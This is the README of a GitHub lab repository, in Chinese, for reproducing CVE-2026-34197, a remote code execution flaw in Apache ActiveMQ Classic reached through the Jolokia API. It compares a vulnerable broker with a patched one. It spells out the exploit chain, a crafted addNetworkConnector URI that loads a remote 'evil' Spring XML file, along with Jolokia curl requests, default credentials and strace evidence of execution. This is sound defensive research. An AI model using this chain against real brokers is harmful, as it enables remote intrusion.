rootdirective-sec/CVE-2026-34197-Lab

GitHub: rootdirective-sec/CVE-2026-34197-Lab

针对 CVE-2026-34197 Apache ActiveMQ Classic Jolokia 远程代码执行漏洞的本地 Docker 实验环境,并行部署漏洞版本与修复版本,并提供安全受限的检测与验证脚本。

Stars: 0 | Forks: 0

# CVE-2026-34197 — Apache ActiveMQ Classic Jolokia RCE 实验环境 ## 概述 本仓库是一个用于研究 **CVE-2026-34197** 的本地 Docker 实验环境,CVE-2026-34197 是一个可通过 Jolokia JMX-HTTP API 触发的 Apache ActiveMQ Classic 远程代码执行漏洞。 本实验环境并行比较了两个 ActiveMQ Classic 实例: | 服务 | 版本 | 用途 | URL | | --------- | ------: | -------------- | ----------------------- | | `vuln` | 5.19.3 | 存在漏洞的目标 | `http://127.0.0.1:8081` | | `patched` | 5.19.4 | 已修复的对照目标 | `http://127.0.0.1:8082` | 本仓库包含两个验证脚本: | 脚本 | 用途 | 安全模型 | | ------------- | ---------------------- | ------------------------------------------- | | `poc/detect.py` | 授权检测器 | 仅限 HTTP;不进行漏洞利用 | | `poc/poc.py` | 仅限本地的 RCE 路径验证 | 固定命令:`id; whoami; sleep 5` | 命令执行的证据由操作员使用诸如 `strace` 等进程观察工具单独进行验证。 ## 漏洞概述 CVE-2026-34197 影响特定版本的 Apache ActiveMQ Classic。在这些版本中,已通过认证的用户可以使用 Jolokia API 调用 Broker 管理操作,并通过精心构造的 `brokerConfig=xbean:http://...` URI 导致 Broker JVM 加载由攻击者控制的 Spring XML。 本实验环境中演示的漏洞触发流程为: ``` Jolokia /api/jolokia/ -> Broker MBean operation -> addNetworkConnector(java.lang.String) -> static:(vm://...?brokerConfig=xbean:http://...) -> remote Spring XML fetch -> ProcessBuilder bean initialization -> fixed local proof command ``` 已修复的服务会在获取 XML 之前阻止此路径,并返回类似以下的错误: ``` VM scheme is not allowed ``` ## 仓库结构 ``` . ├── docker-compose.yml ├── vuln │ └── Dockerfile ├── patched │ └── Dockerfile ├── poc │ ├── detect.py │ └── poc.py ├── images │ └── strace.png ├── README.md └── .gitignore ``` ### 文件作用 * `docker-compose.yml` 用于运行存在漏洞的和已修复的 ActiveMQ 服务。 * `vuln/Dockerfile` 构建 Apache ActiveMQ Classic 5.19.3。 * `patched/Dockerfile` 构建 Apache ActiveMQ Classic 5.19.4。 * `poc/detect.py` 检查 Jolokia 的暴露情况、ActiveMQ 版本以及 Broker MBean 的可见性。 * `poc/poc.py` 使用固定的无害命令触发仅限本地的 RCE 路径。 * `images/strace.png` 包含来自存在漏洞的服务的本地进程观察证据。 * `.gitignore` 排除本地构建产物、Python 缓存文件、虚拟环境、日志和敏感信息。 ## 安全边界 本仓库仅用于本地实验和授权的安全验证。 该 PoC 受到了故意的限制: * 拒绝非本地目标。 * 不接受任意命令。 * 仅使用固定命令:`id; whoami; sleep 5`。 * 不通过回调收集命令输出。 * 依赖操作员控制的独立观察(例如 `strace`)。 `poc.py` 允许的本地目标: ``` 127.0.0.1 localhost ::1 ``` 请勿将本仓库用于您不拥有或未获得明确授权测试的系统。 ## 实验环境搭建 ### 构建并启动实验环境 ``` docker compose down -v docker compose build docker compose up -d ``` 检查服务状态: ``` docker compose ps ``` 预期服务: ``` cve-2026-34197-vuln Up / healthy cve-2026-34197-patched Up / healthy ``` ### 验证 Jolokia 版本端点 检查存在漏洞的服务: ``` curl -sS \ -u admin:admin \ -H 'Origin: http://127.0.0.1:8081' \ http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool ``` 检查已修复的服务: ``` curl -sS \ -u admin:admin \ -H 'Origin: http://127.0.0.1:8082' \ http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool ``` 预期版本: ``` 8081 -> ActiveMQ 5.19.3 8082 -> ActiveMQ 5.19.4 ``` ## 检测器使用说明 `poc/detect.py` 是安全的默认脚本。它不会对目标进行漏洞利用。 它会检查: 1. `/api/jolokia/version` 是否可访问; 2. 是否需要身份验证; 3. 产品是否为 Apache ActiveMQ; 4. ActiveMQ 的版本; 5. Broker MBean 是否可通过 Jolokia 搜索可见; 6. 版本是否处于受影响的范围内。 ### 针对两个实验服务运行检测器 ``` python3 -m venv .venv source .venv/bin/activate pip install requests python poc/detect.py \ -t http://127.0.0.1:8081 \ -t http://127.0.0.1:8082 \ -u admin \ -p admin \ -v ``` 预期结果: ``` http://127.0.0.1:8081 Assessment: LIKELY_VULNERABLE Risk: HIGH ActiveMQ version: 5.19.3 Broker MBean: VISIBLE http://127.0.0.1:8082 Assessment: NOT_AFFECTED_BY_VERSION Risk: LOW ActiveMQ version: 5.19.4 Broker MBean: VISIBLE ``` ### 检测器中如何判定为存在漏洞? 检测器在以下情况下会将目标标记为 `LIKELY_VULNERABLE`: ``` Jolokia is accessible + ActiveMQ version is in an affected range ``` 本实验环境使用的受影响版本范围: ``` 5.x < 5.19.4 6.x < 6.2.3 ``` 因为漏洞利用路径依赖于 Broker 管理操作,所以 Broker MBean 的可见性被用作可信证据。 检测器不会声明为 `CONFIRMED_RCE`。 ## 仅限本地的 RCE 路径 PoC `poc/poc.py` 在本地 Docker 实验环境中演示了 RCE 路径。 它会在主机上启动一个临时的 HTTP 服务器,并在每次运行独有的路径下提供 Spring XML Payload: ``` /evil-.xml ``` 然后它通过 Jolokia 调用 ActiveMQ Broker MBean: ``` addNetworkConnector(java.lang.String) ``` 并使用精心构造的 discovery URI: ``` static:(vm://cve34197?brokerConfig=xbean:http://host.docker.internal:9100/evil-.xml) ``` 存在漏洞的 Broker 会获取此 XML。而已修复的 Broker 会在获取 XML 之前阻止 `vm://` 传输协议。 ### 重要行为 在一次针对存在漏洞的运行之后,创建的 NetworkConnector 可能会重试获取旧的 XML 路径。该脚本使用每次运行特有的随机数,并追踪 `matches_current_run` 以避免误报。 只有当匹配以下条件时,命中才会被计入当前运行: ``` /evil-.xml ``` ## 针对存在漏洞的服务运行 PoC ``` python poc/poc.py \ --target http://127.0.0.1:8081 \ -u admin \ -p admin ``` 预期输出: ``` [+] Broker fetched the Spring XML payload for this run. Matched path: /evil-.xml matches_current_run: true ``` 这证实了可以通过 Jolokia 管理的 Broker 路径,使 ActiveMQ 5.19.3 获取由攻击者控制的 Spring XML。 ## 针对已修复的服务运行 PoC ``` python poc/poc.py \ --target http://127.0.0.1:8082 \ -u admin \ -p admin ``` 预期输出: ``` VM scheme is not allowed [-] No XML fetch observed for this run. ``` 如果出现了来自较早的存在漏洞的运行的命中,它们应显示为: ``` "matches_current_run": false ``` 这些不会被计作已修复服务的成功验证。 ## 使用 strace 确认命令执行 PoC 脚本不会收集命令输出。要确认命令已执行,请观察存在漏洞的容器内部的进程创建过程。 以 root 身份进入存在漏洞的容器: ``` docker exec -it --user root cve-2026-34197-vuln bash ``` 查找 Java 进程: ``` pgrep -af java ``` 将 `strace` 附加到 Java PID 上: ``` strace -f -e execve -p ``` 在另一个终端中,针对存在漏洞的服务运行 PoC: ``` python poc/poc.py \ --target http://127.0.0.1:8081 \ -u admin \ -p admin ``` 预期的 `strace` 证据: ``` execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...) execve("/usr/bin/id", ["id"], ...) execve("/usr/bin/whoami", ["whoami"], ...) execve("/usr/bin/sleep", ["sleep", "5"], ...) ``` 这是证明固定的验证命令由 Broker JVM 执行的操作系统级别证据。 ![strace 命令执行证据](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/df52125f5d010025.png) ## 运行之间的清理 PoC 在触发之前会尝试移除默认的 NetworkConnector 名称 `NC`。这使得重复的实验运行保持结果可预测。 手动清理: ``` curl -sS \ -u admin:admin \ -H 'Origin: http://127.0.0.1:8081' \ -H 'Content-Type: application/json' \ -X POST \ http://127.0.0.1:8081/api/jolokia/ \ -d '{ "type": "exec", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "operation": "removeNetworkConnector(java.lang.String)", "arguments": ["NC"] }' | python3 -m json.tool ``` 或者重启实验环境: ``` docker compose restart vuln patched ``` ## 预期实验结果 | 测试 | 存在漏洞的 5.19.3 | 已修复的 5.19.4 | | ----------------------- | ------------------------------------ | ------------------------------ | | `detect.py` | `LIKELY_VULNERABLE` | `NOT_AFFECTED_BY_VERSION` | | Jolokia 访问 | 需要认证即可访问 | 需要认证即可访问 | | Broker MBean | 可见 | 可见 | | `poc.py` XML 获取 | 是 | 否 | | 修复阻止的签名特征 | 无 | `VM scheme is not allowed` | | strace 命令证据 | `/bin/sh -c 'id; whoami; sleep 5'` | 不预期出现 | ## 参考资料 * Apache ActiveMQ 安全通告 — CVE-2026-34197: [https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) * NVD — CVE-2026-34197: [https://nvd.nist.gov/vuln/detail/CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) * CVE.org — CVE-2026-34197 记录: [https://www.cve.org/CVERecord?id=CVE-2026-34197](https://www.cve.org/CVERecord?id=CVE-2026-34197) * GitHub 安全通告数据库 — GHSA-rxpj-7qvf-xv32: [https://github.com/advisories/GHSA-rxpj-7qvf-xv32](https://github.com/advisories/GHSA-rxpj-7qvf-xv32) * Horizon3.ai — CVE-2026-34197 通过 Jolokia API 实现的 ActiveMQ RCE: [https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) * Apache ActiveMQ Classic 文档 — Networks of Brokers: [https://activemq.apache.org/components/classic/documentation/networks-of-brokers](https://activemq.apache.org/components/classic/documentation/networks-of-brokers) * Apache ActiveMQ Classic JMX BrokerView API 文档: [https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html](https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html)
标签:Apache ActiveMQ, CISA项目, CVE-2026-34197, Docker, Docker Compose, JMX-HTTP, Jolokia, Maven, OPA, PoC, RCE, SDLC, Spring XML, 中间件漏洞, 安全实验, 安全防御评估, 开放策略代理, 暴力破解, 漏洞复现, 漏洞验证, 版权保护, 编程工具, 网络安全, 请求拦截, 远程代码执行, 逆向工具, 隐私保护, 靶场